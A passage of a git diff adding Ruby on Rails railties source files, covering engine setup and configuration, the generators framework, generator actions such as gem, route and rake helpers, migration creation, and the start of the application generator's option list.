+    initializer :load_environment_config, before: :load_environment_hook, group: :all do
+      paths["config/environments"].existent.each do |environment|
+        require environment
+      end
+    end
+
+    initializer :prepend_helpers_path do |app|
+      if !isolated? || (app == self)
+        app.config.helpers_paths.unshift(*paths["app/helpers"].existent)
+      end
+    end
+
+    initializer :load_config_initializers do
+      config.paths["config/initializers"].existent.sort.each do |initializer|
+        load_config_initializer(initializer)
+      end
+    end
+
+    initializer :engines_blank_point do
+      # We need this initializer so all extra initializers added in engines are
+      # consistently executed after all the initializers above across all engines.
+    end
+
+    rake_tasks do
+      next if is_a?(Rails::Application)
+      next unless has_migrations?
+
+      namespace railtie_name do
+        namespace :install do
+          desc "Copy migrations from #{railtie_name} to application"
+          task :migrations do
+            ENV["FROM"] = railtie_name
+            if Rake::Task.task_defined?("railties:install:migrations")
+              Rake::Task["railties:install:migrations"].invoke
+            else
+              Rake::Task["app:railties:install:migrations"].invoke
+            end
+          end
+        end
+      end
+    end
+
+    def routes? #:nodoc:
+      @routes
+    end
+
+    protected
+
+      def run_tasks_blocks(*) #:nodoc:
+        super
+        paths["lib/tasks"].existent.sort.each { |ext| load(ext) }
+      end
+
+    private
+
+      def load_config_initializer(initializer) # :doc:
+        ActiveSupport::Notifications.instrument("load_config_initializer.railties", initializer: initializer) do
+          load(initializer)
+        end
+      end
+
+      def has_migrations?
+        paths["db/migrate"].existent.any?
+      end
+
+      def self.find_root_with_flag(flag, root_path, default = nil) #:nodoc:
+        while root_path && File.directory?(root_path) && !File.exist?("#{root_path}/#{flag}")
+          parent = File.dirname(root_path)
+          root_path = parent != root_path && parent
+        end
+
+        root = File.exist?("#{root_path}/#{flag}") ? root_path : default
+        raise "Could not find root path for #{self}" unless root
+
+        Pathname.new File.realpath root
+      end
+
+      def default_middleware_stack
+        ActionDispatch::MiddlewareStack.new
+      end
+
+      def _all_autoload_once_paths
+        config.autoload_once_paths
+      end
+
+      def _all_autoload_paths
+        @_all_autoload_paths ||= (config.autoload_paths + config.eager_load_paths + config.autoload_once_paths).uniq
+      end
+
+      def _all_load_paths
+        @_all_load_paths ||= (config.paths.load_paths + _all_autoload_paths).uniq
+      end
+
+      def build_request(env)
+        env.merge!(env_config)
+        req = ActionDispatch::Request.new env
+        req.routes = routes
+        req.engine_script_name = req.script_name
+        req
+      end
+
+      def build_middleware
+        config.middleware
+      end
+  end
+end
diff --git a/railties/lib/rails/engine/commands.rb b/railties/lib/rails/engine/commands.rb
new file mode 100644
index 0000000000..5267b23d6c
--- /dev/null
+++ b/railties/lib/rails/engine/commands.rb
@@ -0,0 +1,7 @@
+unless defined?(APP_PATH)
+  if File.exist?(File.expand_path("test/dummy/config/application.rb", ENGINE_ROOT))
+    APP_PATH = File.expand_path("test/dummy/config/application", ENGINE_ROOT)
+  end
+end
+
+require_relative "../commands"
diff --git a/railties/lib/rails/engine/configuration.rb b/railties/lib/rails/engine/configuration.rb
new file mode 100644
index 0000000000..9c7e2942bc
--- /dev/null
+++ b/railties/lib/rails/engine/configuration.rb
@@ -0,0 +1,86 @@
+require_relative "../railtie/configuration"
+
+module Rails
+  class Engine
+    class Configuration < ::Rails::Railtie::Configuration
+      attr_reader :root
+      attr_accessor :middleware
+      attr_writer :eager_load_paths, :autoload_once_paths, :autoload_paths
+
+      def initialize(root = nil)
+        super()
+        @root = root
+        @generators = app_generators.dup
+        @middleware = Rails::Configuration::MiddlewareStackProxy.new
+      end
+
+      # Holds generators configuration:
+      #
+      #   config.generators do |g|
+      #     g.orm             :data_mapper, migration: true
+      #     g.template_engine :haml
+      #     g.test_framework  :rspec
+      #   end
+      #
+      # If you want to disable color in console, do:
+      #
+      #   config.generators.colorize_logging = false
+      #
+      def generators
+        @generators ||= Rails::Configuration::Generators.new
+        yield(@generators) if block_given?
+        @generators
+      end
+
+      def paths
+        @paths ||= begin
+          paths = Rails::Paths::Root.new(@root)
+
+          paths.add "app",                 eager_load: true, glob: "{*,*/concerns}"
+          paths.add "app/assets",          glob: "*"
+          paths.add "app/controllers",     eager_load: true
+          paths.add "app/channels",        eager_load: true, glob: "**/*_channel.rb"
+          paths.add "app/helpers",         eager_load: true
+          paths.add "app/models",          eager_load: true
+          paths.add "app/mailers",         eager_load: true
+          paths.add "app/views"
+
+          paths.add "lib",                 load_path: true
+          paths.add "lib/assets",          glob: "*"
+          paths.add "lib/tasks",           glob: "**/*.rake"
+
+          paths.add "config"
+          paths.add "config/environments", glob: "#{Rails.env}.rb"
+          paths.add "config/initializers", glob: "**/*.rb"
+          paths.add "config/locales",      glob: "*.{rb,yml}"
+          paths.add "config/routes.rb"
+
+          paths.add "db"
+          paths.add "db/migrate"
+          paths.add "db/seeds.rb"
+
+          paths.add "vendor",              load_path: true
+          paths.add "vendor/assets",       glob: "*"
+
+          paths
+        end
+      end
+
+      def root=(value)
+        @root = paths.path = Pathname.new(value).expand_path
+      end
+
+      def eager_load_paths
+        @eager_load_paths ||= paths.eager_load
+      end
+
+      def autoload_once_paths
+        @autoload_once_paths ||= paths.autoload_once
+      end
+
+      def autoload_paths
+        @autoload_paths ||= paths.autoload_paths
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/engine/railties.rb b/railties/lib/rails/engine/railties.rb
new file mode 100644
index 0000000000..9969a1475d
--- /dev/null
+++ b/railties/lib/rails/engine/railties.rb
@@ -0,0 +1,21 @@
+module Rails
+  class Engine < Railtie
+    class Railties
+      include Enumerable
+      attr_reader :_all
+
+      def initialize
+        @_all ||= ::Rails::Railtie.subclasses.map(&:instance) +
+          ::Rails::Engine.subclasses.map(&:instance)
+      end
+
+      def each(*args, &block)
+        _all.each(*args, &block)
+      end
+
+      def -(others)
+        _all - others
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/engine/updater.rb b/railties/lib/rails/engine/updater.rb
new file mode 100644
index 0000000000..af2bff1e59
--- /dev/null
+++ b/railties/lib/rails/engine/updater.rb
@@ -0,0 +1,19 @@
+require_relative "../generators"
+require_relative "../generators/rails/plugin/plugin_generator"
+
+module Rails
+  class Engine
+    class Updater
+      class << self
+        def generator
+          @generator ||= Rails::Generators::PluginGenerator.new ["plugin"],
+            { engine: true }, destination_root: ENGINE_ROOT
+        end
+
+        def run(action)
+          generator.send(action)
+        end
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/gem_version.rb b/railties/lib/rails/gem_version.rb
new file mode 100644
index 0000000000..7bacf2e0ba
--- /dev/null
+++ b/railties/lib/rails/gem_version.rb
@@ -0,0 +1,15 @@
+module Rails
+  # Returns the version of the currently loaded Rails as a <tt>Gem::Version</tt>
+  def self.gem_version
+    Gem::Version.new VERSION::STRING
+  end
+
+  module VERSION
+    MAJOR = 5
+    MINOR = 2
+    TINY  = 0
+    PRE   = "alpha"
+
+    STRING = [MAJOR, MINOR, TINY, PRE].compact.join(".")
+  end
+end
diff --git a/railties/lib/rails/generators.rb b/railties/lib/rails/generators.rb
new file mode 100644
index 0000000000..b9a0fe07c8
--- /dev/null
+++ b/railties/lib/rails/generators.rb
@@ -0,0 +1,316 @@
+activesupport_path = File.expand_path("../../../activesupport/lib", __dir__)
+$:.unshift(activesupport_path) if File.directory?(activesupport_path) && !$:.include?(activesupport_path)
+
+require "thor/group"
+require_relative "command"
+
+require "active_support"
+require "active_support/core_ext/object/blank"
+require "active_support/core_ext/kernel/singleton_class"
+require "active_support/core_ext/array/extract_options"
+require "active_support/core_ext/hash/deep_merge"
+require "active_support/core_ext/module/attribute_accessors"
+require "active_support/core_ext/string/inflections"
+
+module Rails
+  module Generators
+    include Rails::Command::Behavior
+
+    autoload :Actions,         "rails/generators/actions"
+    autoload :ActiveModel,     "rails/generators/active_model"
+    autoload :Base,            "rails/generators/base"
+    autoload :Migration,       "rails/generators/migration"
+    autoload :NamedBase,       "rails/generators/named_base"
+    autoload :ResourceHelpers, "rails/generators/resource_helpers"
+    autoload :TestCase,        "rails/generators/test_case"
+
+    mattr_accessor :namespace
+
+    DEFAULT_ALIASES = {
+      rails: {
+        actions: "-a",
+        orm: "-o",
+        javascripts: "-j",
+        javascript_engine: "-je",
+        resource_controller: "-c",
+        scaffold_controller: "-c",
+        stylesheets: "-y",
+        stylesheet_engine: "-se",
+        scaffold_stylesheet: "-ss",
+        template_engine: "-e",
+        test_framework: "-t"
+      },
+
+      test_unit: {
+        fixture_replacement: "-r",
+      }
+    }
+
+    DEFAULT_OPTIONS = {
+      rails: {
+        api: false,
+        assets: true,
+        force_plural: false,
+        helper: true,
+        integration_tool: nil,
+        javascripts: true,
+        javascript_engine: :js,
+        orm: false,
+        resource_controller: :controller,
+        resource_route: true,
+        scaffold_controller: :scaffold_controller,
+        stylesheets: true,
+        stylesheet_engine: :css,
+        scaffold_stylesheet: true,
+        system_tests: nil,
+        test_framework: nil,
+        template_engine: :erb
+      }
+    }
+
+    class << self
+      def configure!(config) #:nodoc:
+        api_only! if config.api_only
+        no_color! unless config.colorize_logging
+        aliases.deep_merge! config.aliases
+        options.deep_merge! config.options
+        fallbacks.merge! config.fallbacks
+        templates_path.concat config.templates
+        templates_path.uniq!
+        hide_namespaces(*config.hidden_namespaces)
+      end
+
+      def templates_path #:nodoc:
+        @templates_path ||= []
+      end
+
+      def aliases #:nodoc:
+        @aliases ||= DEFAULT_ALIASES.dup
+      end
+
+      def options #:nodoc:
+        @options ||= DEFAULT_OPTIONS.dup
+      end
+
+      # Hold configured generators fallbacks. If a plugin developer wants a
+      # generator group to fallback to another group in case of missing generators,
+      # they can add a fallback.
+      #
+      # For example, shoulda is considered a test_framework and is an extension
+      # of test_unit. However, most part of shoulda generators are similar to
+      # test_unit ones.
+      #
+      # Shoulda then can tell generators to search for test_unit generators when
+      # some of them are not available by adding a fallback:
+      #
+      #   Rails::Generators.fallbacks[:shoulda] = :test_unit
+      def fallbacks
+        @fallbacks ||= {}
+      end
+
+      # Configure generators for API only applications. It basically hides
+      # everything that is usually browser related, such as assets and session
+      # migration generators, and completely disable helpers and assets
+      # so generators such as scaffold won't create them.
+      def api_only!
+        hide_namespaces "assets", "helper", "css", "js"
+
+        options[:rails].merge!(
+          api: true,
+          assets: false,
+          helper: false,
+          template_engine: nil
+        )
+
+        if ARGV.first == "mailer"
+          options[:rails].merge!(template_engine: :erb)
+        end
+      end
+
+      # Remove the color from output.
+      def no_color!
+        Thor::Base.shell = Thor::Shell::Basic
+      end
+
+      # Returns an array of generator namespaces that are hidden.
+      # Generator namespaces may be hidden for a variety of reasons.
+      # Some are aliased such as "rails:migration" and can be
+      # invoked with the shorter "migration", others are private to other generators
+      # such as "css:scaffold".
+      def hidden_namespaces
+        @hidden_namespaces ||= begin
+          orm      = options[:rails][:orm]
+          test     = options[:rails][:test_framework]
+          template = options[:rails][:template_engine]
+          css      = options[:rails][:stylesheet_engine]
+
+          [
+            "rails",
+            "resource_route",
+            "#{orm}:migration",
+            "#{orm}:model",
+            "#{test}:controller",
+            "#{test}:helper",
+            "#{test}:integration",
+            "#{test}:system",
+            "#{test}:mailer",
+            "#{test}:model",
+            "#{test}:scaffold",
+            "#{test}:view",
+            "#{test}:job",
+            "#{template}:controller",
+            "#{template}:scaffold",
+            "#{template}:mailer",
+            "#{css}:scaffold",
+            "#{css}:assets",
+            "css:assets",
+            "css:scaffold"
+          ]
+        end
+      end
+
+      def hide_namespaces(*namespaces)
+        hidden_namespaces.concat(namespaces)
+      end
+      alias hide_namespace hide_namespaces
+
+      # Show help message with available generators.
+      def help(command = "generate")
+        puts "Usage: rails #{command} GENERATOR [args] [options]"
+        puts
+        puts "General options:"
+        puts "  -h, [--help]     # Print generator's options and usage"
+        puts "  -p, [--pretend]  # Run but do not make any changes"
+        puts "  -f, [--force]    # Overwrite files that already exist"
+        puts "  -s, [--skip]     # Skip files that already exist"
+        puts "  -q, [--quiet]    # Suppress status output"
+        puts
+        puts "Please choose a generator below."
+        puts
+
+        print_generators
+      end
+
+      def public_namespaces
+        lookup!
+        subclasses.map(&:namespace)
+      end
+
+      def print_generators
+        sorted_groups.each { |b, n| print_list(b, n) }
+      end
+
+      def sorted_groups
+        namespaces = public_namespaces
+        namespaces.sort!
+
+        groups = Hash.new { |h, k| h[k] = [] }
+        namespaces.each do |namespace|
+          base = namespace.split(":").first
+          groups[base] << namespace
+        end
+
+        rails = groups.delete("rails")
+        rails.map! { |n| n.sub(/^rails:/, "") }
+        rails.delete("app")
+        rails.delete("plugin")
+        rails.delete("encrypted_secrets")
+
+        hidden_namespaces.each { |n| groups.delete(n.to_s) }
+
+        [[ "rails", rails ]] + groups.sort.to_a
+      end
+
+      # Rails finds namespaces similar to Thor, it only adds one rule:
+      #
+      # Generators names must end with "_generator.rb". This is required because Rails
+      # looks in load paths and loads the generator just before it's going to be used.
+      #
+      #   find_by_namespace :webrat, :rails, :integration
+      #
+      # Will search for the following generators:
+      #
+      #   "rails:webrat", "webrat:integration", "webrat"
+      #
+      # Notice that "rails:generators:webrat" could be loaded as well, what
+      # Rails looks for is the first and last parts of the namespace.
+      def find_by_namespace(name, base = nil, context = nil) #:nodoc:
+        lookups = []
+        lookups << "#{base}:#{name}"    if base
+        lookups << "#{name}:#{context}" if context
+
+        unless base || context
+          unless name.to_s.include?(?:)
+            lookups << "#{name}:#{name}"
+            lookups << "rails:#{name}"
+          end
+          lookups << "#{name}"
+        end
+
+        lookup(lookups)
+
+        namespaces = Hash[subclasses.map { |klass| [klass.namespace, klass] }]
+        lookups.each do |namespace|
+
+          klass = namespaces[namespace]
+          return klass if klass
+        end
+
+        invoke_fallbacks_for(name, base) || invoke_fallbacks_for(context, name)
+      end
+
+      # Receives a namespace, arguments and the behavior to invoke the generator.
+      # It's used as the default entry point for generate, destroy and update
+      # commands.
+      def invoke(namespace, args = ARGV, config = {})
+        names = namespace.to_s.split(":")
+        if klass = find_by_namespace(names.pop, names.any? && names.join(":"))
+          args << "--help" if args.empty? && klass.arguments.any?(&:required?)
+          klass.start(args, config)
+        else
+          options     = sorted_groups.flat_map(&:last)
+          suggestions = options.sort_by { |suggested| levenshtein_distance(namespace.to_s, suggested) }.first(3)
+          msg =  "Could not find generator '#{namespace}'. "
+          msg << "Maybe you meant #{ suggestions.map { |s| "'#{s}'" }.to_sentence(last_word_connector: " or ", locale: :en) }\n"
+          msg << "Run `rails generate --help` for more options."
+          puts msg
+        end
+      end
+
+      private
+
+        def print_list(base, namespaces) # :doc:
+          namespaces = namespaces.reject { |n| hidden_namespaces.include?(n) }
+          super
+        end
+
+        # Try fallbacks for the given base.
+        def invoke_fallbacks_for(name, base)
+          return nil unless base && fallbacks[base.to_sym]
+          invoked_fallbacks = []
+
+          Array(fallbacks[base.to_sym]).each do |fallback|
+            next if invoked_fallbacks.include?(fallback)
+            invoked_fallbacks << fallback
+
+            klass = find_by_namespace(name, fallback)
+            return klass if klass
+          end
+
+          nil
+        end
+
+        def command_type # :doc:
+          @command_type ||= "generator"
+        end
+
+        def lookup_paths # :doc:
+          @lookup_paths ||= %w( rails/generators generators )
+        end
+
+        def file_lookup_paths # :doc:
+          @file_lookup_paths ||= [ "{#{lookup_paths.join(',')}}", "**", "*_generator.rb" ]
+        end
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/actions.rb b/railties/lib/rails/generators/actions.rb
new file mode 100644
index 0000000000..5cf0985050
--- /dev/null
+++ b/railties/lib/rails/generators/actions.rb
@@ -0,0 +1,309 @@
+module Rails
+  module Generators
+    module Actions
+      def initialize(*) # :nodoc:
+        super
+        @in_group = nil
+        @after_bundle_callbacks = []
+      end
+
+      # Adds an entry into +Gemfile+ for the supplied gem.
+      #
+      #   gem "rspec", group: :test
+      #   gem "technoweenie-restful-authentication", lib: "restful-authentication", source: "http://gems.github.com/"
+      #   gem "rails", "3.0", git: "git://github.com/rails/rails"
+      def gem(*args)
+        options = args.extract_options!
+        name, version = args
+
+        # Set the message to be shown in logs. Uses the git repo if one is given,
+        # otherwise use name (version).
+        parts, message = [ quote(name) ], name.dup
+        if version ||= options.delete(:version)
+          parts   << quote(version)
+          message << " (#{version})"
+        end
+        message = options[:git] if options[:git]
+
+        log :gemfile, message
+
+        options.each do |option, value|
+          parts << "#{option}: #{quote(value)}"
+        end
+
+        in_root do
+          str = "gem #{parts.join(", ")}"
+          str = "  " + str if @in_group
+          str = "\n" + str
+          append_file "Gemfile", str, verbose: false
+        end
+      end
+
+      # Wraps gem entries inside a group.
+      #
+      #   gem_group :development, :test do
+      #     gem "rspec-rails"
+      #   end
+      def gem_group(*names, &block)
+        name = names.map(&:inspect).join(", ")
+        log :gemfile, "group #{name}"
+
+        in_root do
+          append_file "Gemfile", "\ngroup #{name} do", force: true
+
+          @in_group = true
+          instance_eval(&block)
+          @in_group = false
+
+          append_file "Gemfile", "\nend\n", force: true
+        end
+      end
+
+      # Add the given source to +Gemfile+
+      #
+      # If block is given, gem entries in block are wrapped into the source group.
+      #
+      #   add_source "http://gems.github.com/"
+      #
+      #   add_source "http://gems.github.com/" do
+      #     gem "rspec-rails"
+      #   end
+      def add_source(source, options = {}, &block)
+        log :source, source
+
+        in_root do
+          if block
+            append_file "Gemfile", "\nsource #{quote(source)} do", force: true
+            @in_group = true
+            instance_eval(&block)
+            @in_group = false
+            append_file "Gemfile", "\nend\n", force: true
+          else
+            prepend_file "Gemfile", "source #{quote(source)}\n", verbose: false
+          end
+        end
+      end
+
+      # Adds a line inside the Application class for <tt>config/application.rb</tt>.
+      #
+      # If options <tt>:env</tt> is specified, the line is appended to the corresponding
+      # file in <tt>config/environments</tt>.
+      #
+      #   environment do
+      #     "config.action_controller.asset_host = 'cdn.provider.com'"
+      #   end
+      #
+      #   environment(nil, env: "development") do
+      #     "config.action_controller.asset_host = 'localhost:3000'"
+      #   end
+      def environment(data = nil, options = {})
+        sentinel = /class [a-z_:]+ < Rails::Application/i
+        env_file_sentinel = /Rails\.application\.configure do/
+        data = yield if !data && block_given?
+
+        in_root do
+          if options[:env].nil?
+            inject_into_file "config/application.rb", "\n    #{data}", after: sentinel, verbose: false
+          else
+            Array(options[:env]).each do |env|
+              inject_into_file "config/environments/#{env}.rb", "\n  #{data}", after: env_file_sentinel, verbose: false
+            end
+          end
+        end
+      end
+      alias :application :environment
+
+      # Run a command in git.
+      #
+      #   git :init
+      #   git add: "this.file that.rb"
+      #   git add: "onefile.rb", rm: "badfile.cxx"
+      def git(commands = {})
+        if commands.is_a?(Symbol)
+          run "git #{commands}"
+        else
+          commands.each do |cmd, options|
+            run "git #{cmd} #{options}"
+          end
+        end
+      end
+
+      # Create a new file in the <tt>vendor/</tt> directory. Code can be specified
+      # in a block or a data string can be given.
+      #
+      #   vendor("sekrit.rb") do
+      #     sekrit_salt = "#{Time.now}--#{3.years.ago}--#{rand}--"
+      #     "salt = '#{sekrit_salt}'"
+      #   end
+      #
+      #   vendor("foreign.rb", "# Foreign code is fun")
+      def vendor(filename, data = nil, &block)
+        log :vendor, filename
+        create_file("vendor/#{filename}", data, verbose: false, &block)
+      end
+
+      # Create a new file in the lib/ directory. Code can be specified
+      # in a block or a data string can be given.
+      #
+      #   lib("crypto.rb") do
+      #     "crypted_special_value = '#{rand}--#{Time.now}--#{rand(1337)}--'"
+      #   end
+      #
+      #   lib("foreign.rb", "# Foreign code is fun")
+      def lib(filename, data = nil, &block)
+        log :lib, filename
+        create_file("lib/#{filename}", data, verbose: false, &block)
+      end
+
+      # Create a new +Rakefile+ with the provided code (either in a block or a string).
+      #
+      #   rakefile("bootstrap.rake") do
+      #     project = ask("What is the UNIX name of your project?")
+      #
+      #     <<-TASK
+      #       namespace :#{project} do
+      #         task :bootstrap do
+      #           puts "I like boots!"
+      #         end
+      #       end
+      #     TASK
+      #   end
+      #
+      #   rakefile('seed.rake', 'puts "Planting seeds"')
+      def rakefile(filename, data = nil, &block)
+        log :rakefile, filename
+        create_file("lib/tasks/#{filename}", data, verbose: false, &block)
+      end
+
+      # Create a new initializer with the provided code (either in a block or a string).
+      #
+      #   initializer("globals.rb") do
+      #     data = ""
+      #
+      #     ['MY_WORK', 'ADMINS', 'BEST_COMPANY_EVAR'].each do |const|
+      #       data << "#{const} = :entp\n"
+      #     end
+      #
+      #     data
+      #   end
+      #
+      #   initializer("api.rb", "API_KEY = '123456'")
+      def initializer(filename, data = nil, &block)
+        log :initializer, filename
+        create_file("config/initializers/#{filename}", data, verbose: false, &block)
+      end
+
+      # Generate something using a generator from Rails or a plugin.
+      # The second parameter is the argument string that is passed to
+      # the generator or an Array that is joined.
+      #
+      #   generate(:authenticated, "user session")
+      def generate(what, *args)
+        log :generate, what
+        argument = args.flat_map(&:to_s).join(" ")
+
+        in_root { run_ruby_script("bin/rails generate #{what} #{argument}", verbose: false) }
+      end
+
+      # Runs the supplied rake task (invoked with 'rake ...')
+      #
+      #   rake("db:migrate")
+      #   rake("db:migrate", env: "production")
+      #   rake("gems:install", sudo: true)
+      def rake(command, options = {})
+        execute_command :rake, command, options
+      end
+
+      # Runs the supplied rake task (invoked with 'rails ...')
+      #
+      #   rails("db:migrate")
+      #   rails("db:migrate", env: "production")
+      #   rails("gems:install", sudo: true)
+      def rails_command(command, options = {})
+        execute_command :rails, command, options
+      end
+
+      # Just run the capify command in root
+      #
+      #   capify!
+      def capify!
+        ActiveSupport::Deprecation.warn("`capify!` is deprecated and will be removed in the next version of Rails.")
+        log :capify, ""
+        in_root { run("#{extify(:capify)} .", verbose: false) }
+      end
+
+      # Make an entry in Rails routing file <tt>config/routes.rb</tt>
+      #
+      #   route "root 'welcome#index'"
+      def route(routing_code)
+        log :route, routing_code
+        sentinel = /\.routes\.draw do\s*\n/m
+
+        in_root do
+          inject_into_file "config/routes.rb", "  #{routing_code}\n", after: sentinel, verbose: false, force: false
+        end
+      end
+
+      # Reads the given file at the source root and prints it in the console.
+      #
+      #   readme "README"
+      def readme(path)
+        log File.read(find_in_source_paths(path))
+      end
+
+      # Registers a callback to be executed after bundle and spring binstubs
+      # have run.
+      #
+      #   after_bundle do
+      #     git add: '.'
+      #   end
+      def after_bundle(&block)
+        @after_bundle_callbacks << block
+      end
+
+      private
+
+        # Define log for backwards compatibility. If just one argument is sent,
+        # invoke say, otherwise invoke say_status. Differently from say and
+        # similarly to say_status, this method respects the quiet? option given.
+        def log(*args) # :doc:
+          if args.size == 1
+            say args.first.to_s unless options.quiet?
+          else
+            args << (behavior == :invoke ? :green : :red)
+            say_status(*args)
+          end
+        end
+
+        # Runs the supplied command using either "rake ..." or "rails ..."
+        # based on the executor parameter provided.
+        def execute_command(executor, command, options = {}) # :doc:
+          log executor, command
+          env  = options[:env] || ENV["RAILS_ENV"] || "development"
+          sudo = options[:sudo] && !Gem.win_platform? ? "sudo " : ""
+          in_root { run("#{sudo}#{extify(executor)} #{command} RAILS_ENV=#{env}", verbose: false) }
+        end
+
+        # Add an extension to the given name based on the platform.
+        def extify(name) # :doc:
+          if Gem.win_platform?
+            "#{name}.bat"
+          else
+            name
+          end
+        end
+
+        # Surround string with single quotes if there is no quotes.
+        # Otherwise fall back to double quotes
+        def quote(value) # :doc:
+          return value.inspect unless value.is_a? String
+
+          if value.include?("'")
+            value.inspect
+          else
+            "'#{value}'"
+          end
+        end
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/actions/create_migration.rb b/railties/lib/rails/generators/actions/create_migration.rb
new file mode 100644
index 0000000000..d06609e91e
--- /dev/null
+++ b/railties/lib/rails/generators/actions/create_migration.rb
@@ -0,0 +1,69 @@
+require "fileutils"
+require "thor/actions"
+
+module Rails
+  module Generators
+    module Actions
+      class CreateMigration < Thor::Actions::CreateFile #:nodoc:
+        def migration_dir
+          File.dirname(@destination)
+        end
+
+        def migration_file_name
+          @base.migration_file_name
+        end
+
+        def identical?
+          exists? && File.binread(existing_migration) == render
+        end
+
+        def revoke!
+          say_destination = exists? ? relative_existing_migration : relative_destination
+          say_status :remove, :red, say_destination
+          return unless exists?
+          ::FileUtils.rm_rf(existing_migration) unless pretend?
+          existing_migration
+        end
+
+        def relative_existing_migration
+          base.relative_to_original_destination_root(existing_migration)
+        end
+
+        def existing_migration
+          @existing_migration ||= begin
+            @base.class.migration_exists?(migration_dir, migration_file_name) ||
+            File.exist?(@destination) && @destination
+          end
+        end
+        alias :exists? :existing_migration
+
+        private
+
+          def on_conflict_behavior # :doc:
+            options = base.options.merge(config)
+            if identical?
+              say_status :identical, :blue, relative_existing_migration
+            elsif options[:force]
+              say_status :remove, :green, relative_existing_migration
+              say_status :create, :green
+              unless pretend?
+                ::FileUtils.rm_rf(existing_migration)
+                yield
+              end
+            elsif options[:skip]
+              say_status :skip, :yellow
+            else
+              say_status :conflict, :red
+              raise Error, "Another migration is already named #{migration_file_name}: " \
+                "#{existing_migration}. Use --force to replace this migration " \
+                "or --skip to ignore conflicted file."
+            end
+          end
+
+          def say_status(status, color, message = relative_destination) # :doc:
+            base.shell.say_status(status, message, color) if config[:verbose]
+          end
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/active_model.rb b/railties/lib/rails/generators/active_model.rb
new file mode 100644
index 0000000000..2679d06fe4
--- /dev/null
+++ b/railties/lib/rails/generators/active_model.rb
@@ -0,0 +1,78 @@
+module Rails
+  module Generators
+    # ActiveModel is a class to be implemented by each ORM to allow Rails to
+    # generate customized controller code.
+    #
+    # The API has the same methods as ActiveRecord, but each method returns a
+    # string that matches the ORM API.
+    #
+    # For example:
+    #
+    #   ActiveRecord::Generators::ActiveModel.find(Foo, "params[:id]")
+    #   # => "Foo.find(params[:id])"
+    #
+    #   DataMapper::Generators::ActiveModel.find(Foo, "params[:id]")
+    #   # => "Foo.get(params[:id])"
+    #
+    # On initialization, the ActiveModel accepts the instance name that will
+    # receive the calls:
+    #
+    #   builder = ActiveRecord::Generators::ActiveModel.new "@foo"
+    #   builder.save # => "@foo.save"
+    #
+    # The only exception in ActiveModel for ActiveRecord is the use of self.build
+    # instead of self.new.
+    #
+    class ActiveModel
+      attr_reader :name
+
+      def initialize(name)
+        @name = name
+      end
+
+      # GET index
+      def self.all(klass)
+        "#{klass}.all"
+      end
+
+      # GET show
+      # GET edit
+      # PATCH/PUT update
+      # DELETE destroy
+      def self.find(klass, params = nil)
+        "#{klass}.find(#{params})"
+      end
+
+      # GET new
+      # POST create
+      def self.build(klass, params = nil)
+        if params
+          "#{klass}.new(#{params})"
+        else
+          "#{klass}.new"
+        end
+      end
+
+      # POST create
+      def save
+        "#{name}.save"
+      end
+
+      # PATCH/PUT update
+      def update(params = nil)
+        "#{name}.update(#{params})"
+      end
+
+      # POST create
+      # PATCH/PUT update
+      def errors
+        "#{name}.errors"
+      end
+
+      # DELETE destroy
+      def destroy
+        "#{name}.destroy"
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/app_base.rb b/railties/lib/rails/generators/app_base.rb
new file mode 100644
index 0000000000..760cb2f81e
--- /dev/null
+++ b/railties/lib/rails/generators/app_base.rb
@@ -0,0 +1,443 @@
+require "fileutils"
+require "digest/md5"
+require "active_support/core_ext/string/strip"
+require_relative "../version" unless defined?(Rails::VERSION)
+require "open-uri"
+require "uri"
+require_relative "../generators"
+require "active_support/core_ext/array/extract_options"
+
+module Rails
+  module Generators
+    class AppBase < Base # :nodoc:
+      DATABASES = %w( mysql postgresql sqlite3 oracle frontbase ibm_db sqlserver )
+      JDBC_DATABASES = %w( jdbcmysql jdbcsqlite3 jdbcpostgresql jdbc )
+      DATABASES.concat(JDBC_DATABASES)
+
+      attr_accessor :rails_template
+      add_shebang_option!
+
+      argument :app_path, type: :string
+
+      def self.strict_args_position
+        false
+      end
+
+      def self.add_shared_options_for(name)
+        class_option :template,           type: :string, aliases: "-m",
+                                          desc: "Path to some #{name} template (can be a filesystem path or URL)"
+
+        class_option :database,           type: :string, aliases: "-d", default: "sqlite3",
+                                          desc: "Preconfigure for selected database (options: #{DATABASES.join('/')})"
+
+        class_option :skip_yarn,          type: :boolean, default: false,
+                                          desc: "Don't use Yarn for managing JavaScript dependencies"
+
+        class_option :skip_gemfile,       type: :boolean, default: false,
+                                          desc: "Don't create a Gemfile"
+
+        class_option :skip_git,           type: :boolean, aliases: "-G", default: false,
+                                          desc: "Skip .gitignore file"
+
+        class_option :skip_keeps,         type: :boolean, default: false,
+                                          desc: "Skip source control .keep files"
+
+        class_option :skip_action_mailer, type: :boolean, aliases: "-M",
+                                          default: false,
+                                          desc: "Skip Action Mailer files"
+
+        class_option :skip_active_record, type: :boolean, aliases: "-O", default: false,
+                                          desc: "Skip Active Record files"
+
+        class_option :skip_puma,          type: :boolean, aliases: "-P", default: false,
+                                          desc: "Skip Puma related files"
+
+        class_option :skip_action_cable,  type: :boolean, aliases: "-C", default: false,
+                                          desc: "Skip Action Cable files"
+
+        class_option :skip_sprockets,     type: :boolean, aliases: "-S", default: false,
+                                          desc: "Skip Sprockets files"
+
+        class_option :skip_spring,        type: :boolean, default: false,
+                                          desc: "Don't install Spring application preloader"
+
+        class_option :skip_listen,        type: :boolean, default: false,
+                                          desc: "Don't generate configuration that depends on the listen gem"
+
+        class_option :skip_coffee,        type: :boolean, default: false,
+                                          desc: "Don't use CoffeeScript"
+
+        class_option :skip_javascript,    type: :boolean, aliases: "-J", default: false,
+                                          desc: "Skip JavaScript files"
+
+        class_option :skip_turbolinks,    type: :boolean, default: false,
+                                          desc: "Skip turbolinks gem"
+
+        class_option :skip_test,          type: :boolean, aliases: "-T", default: false,
+                                          desc: "Skip test files"
+
+        class_option :skip_system_test,   type: :boolean, default: false,
+                                          desc: "Skip system test files"
+
+        class_option :dev,                type: :boolean, default: false,
+                                          desc: "Setup the #{name} with Gemfile pointing to your Rails checkout"
+
+        class_option :edge,               type: :boolean, default: false,
+                                          desc: "Setup the #{name} with Gemfile pointing to Rails repository"
+
+        class_option :rc,                 type: :string, default: nil,
